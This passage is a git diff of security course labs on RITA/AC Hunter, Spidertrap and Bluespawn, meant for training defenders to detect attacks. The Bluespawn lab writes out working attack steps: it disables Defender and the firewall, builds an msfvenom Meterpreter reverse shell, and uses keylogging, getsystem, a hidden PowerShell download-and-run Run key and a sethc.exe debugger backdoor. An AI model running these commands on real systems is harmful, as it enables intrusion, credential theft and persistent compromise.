you can see multiple aspects of this systems connections. For example, you can see if there are any connections that had a threat intel hit, or if there are any connections that have beacons to a fully qualified domain. + +Now, using **AC Hunter**, answer the following questions: + +1. In the winlab-agent dataset, what is the connection interval for 10.10.98.30? + +2. In the gcat dataset, what is the historic fqdn for the beacon on 10.55.100.111? + +3. For the dnscat2-ja3-strobe-agent dataset, what domain has the highest lookup count? +4. Who is doing the lookups? + + +*** + +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/DNSChef.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/CuckooSandbox.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/AC_Hunter_Main_1.JPG b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/AC_Hunter_Main_1.JPG new file mode 100644 index 00000000..b11a98ca Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/AC_Hunter_Main_1.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/BeaconScore_3.JPG b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/BeaconScore_3.JPG new file mode 100644 index 00000000..10665b38 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/BeaconScore_3.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-58-09.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-58-09.png new file mode 100755 index 00000000..a2ba6850 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-58-09.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-59-17.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-59-17.png new file mode 100755 index 00000000..34ac8f1a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-16-59-17.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-00-10.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-00-10.png new file mode 100755 index 00000000..b11434b3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-00-10.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-01-18.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-01-18.png new file mode 100755 index 00000000..ce957578 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-01-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-00.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-00.png new file mode 100755 index 00000000..7969f0b9 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-41.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-41.png new file mode 100755 index 00000000..f717834e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-08-41.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-00.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-00.png new file mode 100755 index 00000000..8c23527a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-33.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-33.png new file mode 100755 index 00000000..d3f9600f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-33.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-56.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-56.png new file mode 100755 index 00000000..9bd4f535 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/Clipboard_2020-07-07-17-09-56.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/DataSetSelection_2.JPG b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/DataSetSelection_2.JPG new file mode 100644 index 00000000..66a6b4f5 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/DataSetSelection_2.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/OpeningFileExplorer.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/OpeningFileExplorer.png new file mode 100644 index 00000000..7c3066b3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/OpeningFileExplorer.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/advanced.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/advanced.png new file mode 100644 index 00000000..153dd3ce Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/advanced.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterhome.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterhome.png new file mode 100644 index 00000000..3601fc6f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterhome.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterlogin.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterlogin.png new file mode 100644 index 00000000..d3e093fe Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_achunterlogin.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconscore.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconscore.png new file mode 100644 index 00000000..c4368c99 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconscore.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconview.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconview.png new file mode 100644 index 00000000..43366b2a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_beaconview.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_datasetselection.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_datasetselection.png new file mode 100644 index 00000000..cf2eb5c8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_datasetselection.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dns.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dns.png new file mode 100644 index 00000000..4568497e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dns.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnscat.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnscat.png new file mode 100644 index 00000000..c118ff88 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnscat.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnsview.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnsview.png new file mode 100644 index 00000000..b970fbc1 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_dnsview.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navhtmlreport.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navhtmlreport.png new file mode 100644 index 00000000..cbdfa5f4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navhtmlreport.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navindex.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navindex.png new file mode 100644 index 00000000..50e84e60 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navindex.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navintrolabs.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navintrolabs.png new file mode 100644 index 00000000..9fa4f345 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_navintrolabs.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_rita.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_rita.png new file mode 100644 index 00000000..18e8fa2f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_rita.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_selectingbeacon.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_selectingbeacon.png new file mode 100644 index 00000000..5495f74b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_selectingbeacon.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_vsagent.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_vsagent.png new file mode 100644 index 00000000..14f6195b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_vsagent.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_wrongplace.png b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_wrongplace.png new file mode 100644 index 00000000..f299dde3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/attachments/rita_wrongplace.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/OpeningKaliInstance.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/OpeningKaliInstance.png new file mode 100644 index 00000000..128fe9d7 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/OpeningKaliInstance.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/Spidertrap.md b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/Spidertrap.md new file mode 100644 index 00000000..917cbfa6 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/Spidertrap.md @@ -0,0 +1,136 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Spidertrap + +# Ubuntu VM + +Website +------- + + + +Description +----------- + +Trap web crawlers and spiders in an infinite set of dynamically +generated webpages. + +Install Location +---------------- + +`~/ADCD/spidertrap` + +Usage +----- + +```bash +python3 spidertrap.py --help +``` +``` +Usage: spidertrap.py [FILE] + +FILE is file containing a list of webpage names to serve, one per line. +If no file is provided, random links will be generated. +``` + +## Example 1: Basic Usage + +- Let's get started by getting into the proper directory: + +```bash +cd ~/ADCD/spidertrap +``` + +Screenshot From 2026-03-07 11-35-46 + +- Now, lets start Spidertrap by running the following command: + +```bash +python3 spidertrap.py +``` + +Screenshot From 2026-03-07 11-36-38 + + +- Then visit the following site in a web browser: + +``` +http://localhost:8000 +``` + +- You should see a page containing randomly generated links. If you click on a link it will take you to a page with more randomly generated links. + +2026-03-07_11-38 + +2 + + +## Example 2: Providing a List of Links + +- For this example, we are going to start Spidertrap again, but this time, we are going to give it a file to generate its links. + +- Let's start Spidertrap again but with the following options: + +```bash +python3 spidertrap.py directory-list-2.3-big.txt +``` + +>[!TIP] +> +>You may need to press `ctrl + c` to kill your existing Spidertrap session. + + +2026-03-07_11-40 + + +- Then visit the following site in a web browser: + +```bash +http://localhost:8000 +``` + +- You should see a page containing links taken from the file. If you click on a link it will take you to a page with more links from the file. + +1 + +2 + +## Example 3: Trapping a Wget Spider + +- For this example, follow the instructions in [Example 1: Basic Usage](#example-1-basic-usage) or [Example 2: Providing a List of Links](#example-2-providing-a-list-of-links) to start Spidertrap. + +- Once Spidertrap starts, open a new terminal + +GetUbuntuTerminalFromUbuntuVM + +- We are going to use `wget` to mirror the website. + +>[!IMPORTANT] +> +>`wget` will run until either it or Spidertrap is killed. +>To stop the command output, type `ctrl + c` + +- Let's run the following command: + +```bash +sudo wget -m http://127.0.0.1:8000 +``` + + +2026-03-07_11-47 + + +- When finished, type `ctrl + c` to kill wget + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/Cowrie.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/TaskbarKaliIcon.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/TaskbarKaliIcon.png new file mode 100644 index 00000000..c8d6bd97 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/TaskbarKaliIcon.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/cdoptspidertrap.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/cdoptspidertrap.png new file mode 100644 index 00000000..39256f54 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/cdoptspidertrap.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/ifconfig.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/ifconfig.png new file mode 100644 index 00000000..7f9c3fcd Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/ifconfig.png differ diff --git a/IntroClassFiles/Tools/IntroClass/Spidertrap_files/image001.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image001.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/Spidertrap_files/image001.png rename to IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image001.png diff --git a/IntroClassFiles/Tools/IntroClass/Spidertrap_files/image002.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image002.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/Spidertrap_files/image002.png rename to IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image002.png diff --git a/IntroClassFiles/Tools/IntroClass/Spidertrap_files/image003.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image003.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/Spidertrap_files/image003.png rename to IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image003.png diff --git a/IntroClassFiles/Tools/IntroClass/Spidertrap_files/image004.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image004.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/Spidertrap_files/image004.png rename to IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/image004.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links.png new file mode 100644 index 00000000..6371250b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links2.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links2.png new file mode 100644 index 00000000..6123fbb2 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/links2.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks.png new file mode 100644 index 00000000..1b904361 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks2.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks2.png new file mode 100644 index 00000000..bc7250b8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/morelinks2.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startspidertrap.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startspidertrap.png new file mode 100644 index 00000000..fd68c53b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startspidertrap.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startwithoptions.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startwithoptions.png new file mode 100644 index 00000000..c73d4603 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/startwithoptions.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/wgetcommand.png b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/wgetcommand.png new file mode 100644 index 00000000..cfe9d5f8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/Spidertrap/wgetcommand.png differ diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md new file mode 100755 index 00000000..c910879d --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md @@ -0,0 +1,432 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Atomic Red Team And Bluespawn + +In this lab we will be using Bluespawn as a stand-in for an EDR system. Normally full EDRs like Cylance and Crowdstrike are very expensive and tend not to show up in classes like this. However, the folks at University of Virginia have done an outstanding job with BlueSpawn. + +BlueSpawn will monitor the system for "weird" behavior and note it when it occurs. For the money, it is great. + +In this lab, we will be starting BlueSpawn and then running Atomic Red Team to trigger a lot of alerts. + +First, we need to disable Defender. +Start by opening up Windows Powershell. + +image + + +Next, run the following command: + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` + +```ps +Set-MpPreference -DisableBehaviorMonitoring $true +``` + +2026-03-26_09-47 + + +This will disable Defender for this session. + +>[!NOTE] +> +>If you get angry red errors, that is Ok, it means Defender is not running. + + +Now, let's open a **command prompt**: + +Screenshot From 2026-02-07 17-59-56 + + +Next, let’s change directories to tools and start Bluespawn: + +```bash +cd \IntroLabs +``` + +```bash +BLUESPAWN-client-x64.exe --monitor --aggressiveness cursory +``` + +You should see something like this: + +2026-03-26_09-50 + + +If you made it this far, perfect! That means Bluespawn is up and running. + +Now, let’s use Atomic Red Team to test the monitoring with BlueSpawn: + +First, we need to open a PowerShell terminal. + +You can do this by selecting the icon in the taskbar/desktop: + +image + +Now we need to install and update Atomic Red Team. Run the following: + +```bash +cd \ +``` + +```ps +IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); +Install-AtomicRedTeam -getAtomics -Force +``` + +>[!NOTE] +> +> This can take a bit. After about 120 seconds, try hitting enter to get your prompt back. + +Once you see the following, you are set to move forward: + +2026-03-26_09-54 + + +Next, in the PowerShell Window we need to navigate to the Atomic Red Team directory and import the powershell modules: + +```ps +cd C:\AtomicRedTeam\invoke-atomicredteam\ +``` + +Then, install the proper `yaml` modules by running the following: + +```ps +Install-Module -Name powershell-yaml +``` + +>[!NOTE] +> +>When prompted, press Y to install the modules. + +```ps +Import-Module .\Invoke-AtomicRedTeam.psm1 +``` + + +Once we do this, we need to invoke all the Atomic Tests. + +>[!IMPORTANT] +> +>Don't do this in production... Ever. +> +>Always run tools like Atomic Red Team on test systems. +> +>We recommend that you run in on a system with your EDR/Endpoint protection in non-blocking/alerting mode. This is so you can see what the protection would have done, but it will allow the tests to finish so we are just going to run individual tests for now. + +Run the following individually: + +```ps +Invoke-AtomicTest T1547.004 +``` + +More information here: + +https://attack.mitre.org/techniques/T1547/004/ + +```ps +Invoke-AtomicTest T1543.003 +``` + +More information here: + +https://attack.mitre.org/techniques/T1543/003/ + +```ps +Invoke-AtomicTest T1547.001 +``` + +More information here: + +https://attack.mitre.org/techniques/T1547/001/ + +```ps +Invoke-AtomicTest T1546.008 +``` + +More information here: + +https://attack.mitre.org/techniques/T1546/008/ + + +>[!TIP] +> +>If you get any “file exists” questions or errors, just select `Yes`. + +It should look like this: + +2026-03-26_10-00 + + +>[!NOTE] +> +>There might be some errors when this runs. This is +normal. + +>[!IMPORTANT] +> +>We had to cross reference the old numbering with the new. +> +>You can find that mapping here: +> +>https://attack.mitre.org/docs/subtechniques/subtechniques-crosswalk.json +> +>![](attachments/crossreference.png) + + +You should be getting a lot of alerts with Bluespawn! Switch tabs in your Terminal to see them: + +2026-03-26_10-09 + + +Now, let’s go back to the PowerShell window and clean up: + +```ps +Invoke-AtomicTest All -Cleanup +``` + +It should look like this: + +2026-03-26_10-06 + + +# If you have more time + +Let’s begin by disabling **Defender**. Simply run the following from an **Administrator PowerShell** prompt: + +image + + +Next, run the following command in the **Powershell** terminal: + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` + +2026-03-26_10-20 + + +This will disable **Defender** for this session. + +If you get angry red errors, that is **Ok**, it means **Defender** is not running. + +Open **Command Prompt** + +Screenshot From 2026-02-07 17-59-56 + +Next, lets ensure the firewall is disabled. In a Windows Command Prompt. + +```cmd +netsh advfirewall set allprofiles state off +``` + + +Next, set a password for the Administrator account that you can remember + +```bash +net user Administrator password1234 +``` + +Please note, that is a very bad password. Come up with something better. But, please remember it. + +Let's continue by opening an **Ubuntu** terminal + +Screenshot From 2026-02-23 10-28-37 + + + +Become root: + +```bash +sudo su - +``` + + +Before we run the next commands, we need to get the **IP** of our **Linux System**. Lets do so by running the following: + +```bash +ifconfig +``` + +Get_IPLinux + +**REMEMBER: YOUR IP WILL BE DIFFERENT** + +Run the following commands to start a simple backdoor and backdoor listener: + +```bash +cd /tmp/ +``` + + + +Run the following commands to start a simple backdoor and backdoor listener: + +```bash + +msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe > /tmp/TrustMe.exe +``` + + + +2026-03-26_10-33 + + + + +Now let's start the **Metasploit** Handler + +```bash +msfconsole -q +``` + +We are going to run the following commands to correctly set the parameters: + +```bash +use exploit/multi/handler +``` + +```bash +set PAYLOAD windows/meterpreter/reverse_tcp +``` + +```bash +set LHOST [Your Linux IP Address] +``` + +Remember, **Your IP will be different!** + +```bash +exploit +``` + +It should look like this: + +2026-02-23_15-38 + + + + +Open up a **Powershell** terminal, copy the file over from **Linux** + +```ps +cd .\Desktop\ +``` + +```ps +scp ubuntu@linux.cloudlab.lan:/tmp/TrustMe.exe . +``` + +Open a **Command Prompt** + +Screenshot From 2026-02-07 17-59-56 + + +Let's run the following commands to run the **"TrustMe.exe"** file. + +```cmd +cd \Users\Administrator\Desktop +``` + +Then run it with the following: + +```cmd +TrustMe.exe +``` + +Back at your Ubuntu terminal, you should have a metasploit session! + +2026-03-26_10-44 + +Now, let’s look at keystroke logging. + +To learn more about this check out MITRE: + +https://attack.mitre.org/techniques/T1056/ + +Also, below is a list of just some of the threat groups that use this technique: + +image + + +Run commands + +meterpreter > `keyscan_start` + +Go and type something on your Windows system. + +meterpreter > `keyscan_dump` + +![](attachments/Clipboard_2020-06-15-13-52-00.png) + + +Go and check Bluespawn. Did it detect it? + +Now, let’s play with registry persistence. + +To learn more about this check out MITRE: + +https://attack.mitre.org/techniques/T1547/ + +Here are just some of the groups that use this technique: + +image + + +meterpreter > `shell` + +C:\> `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Payload /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.243.5:80/a'))\"" /f` + +C:\> `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"` + +![](attachments/Clipboard_2020-06-15-14-00-53.png) + +Go and check Bluespawn. Did it detect it? + +Next, let’s play with privilege escalation. + +Here is al link to more info about this from MITRE: + +https://attack.mitre.org/techniques/T1543/ + +Here are just some of the groups that use this technique: + +image + + +meterpreter >`getsystem` + +![](attachments/Clipboard_2020-06-15-13-52-28.png) + + +![](attachments/Clipboard_2020-06-15-13-56-34.png) + +Go and check Bluespawn. Did it detect it? + +*** + +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Clipboard_2020-06-12-10-36-44.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/Clipboard_2020-06-12-10-36-44.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Clipboard_2020-06-12-10-36-44.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-12-10-36-44.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-12-10-36-44.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-12-10-36-44.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-52-00.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-52-00.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-52-00.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-52-00.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-52-28.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-52-28.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-52-28.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-52-28.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-56-34.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-56-34.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-13-56-34.png rename to IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-13-56-34.png diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/attachments/Clipboard_2020-06-15-14-00-53.png b/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/attachments/Clipboard_2020-06-15-14-00-53.png similarity index 100% rename from 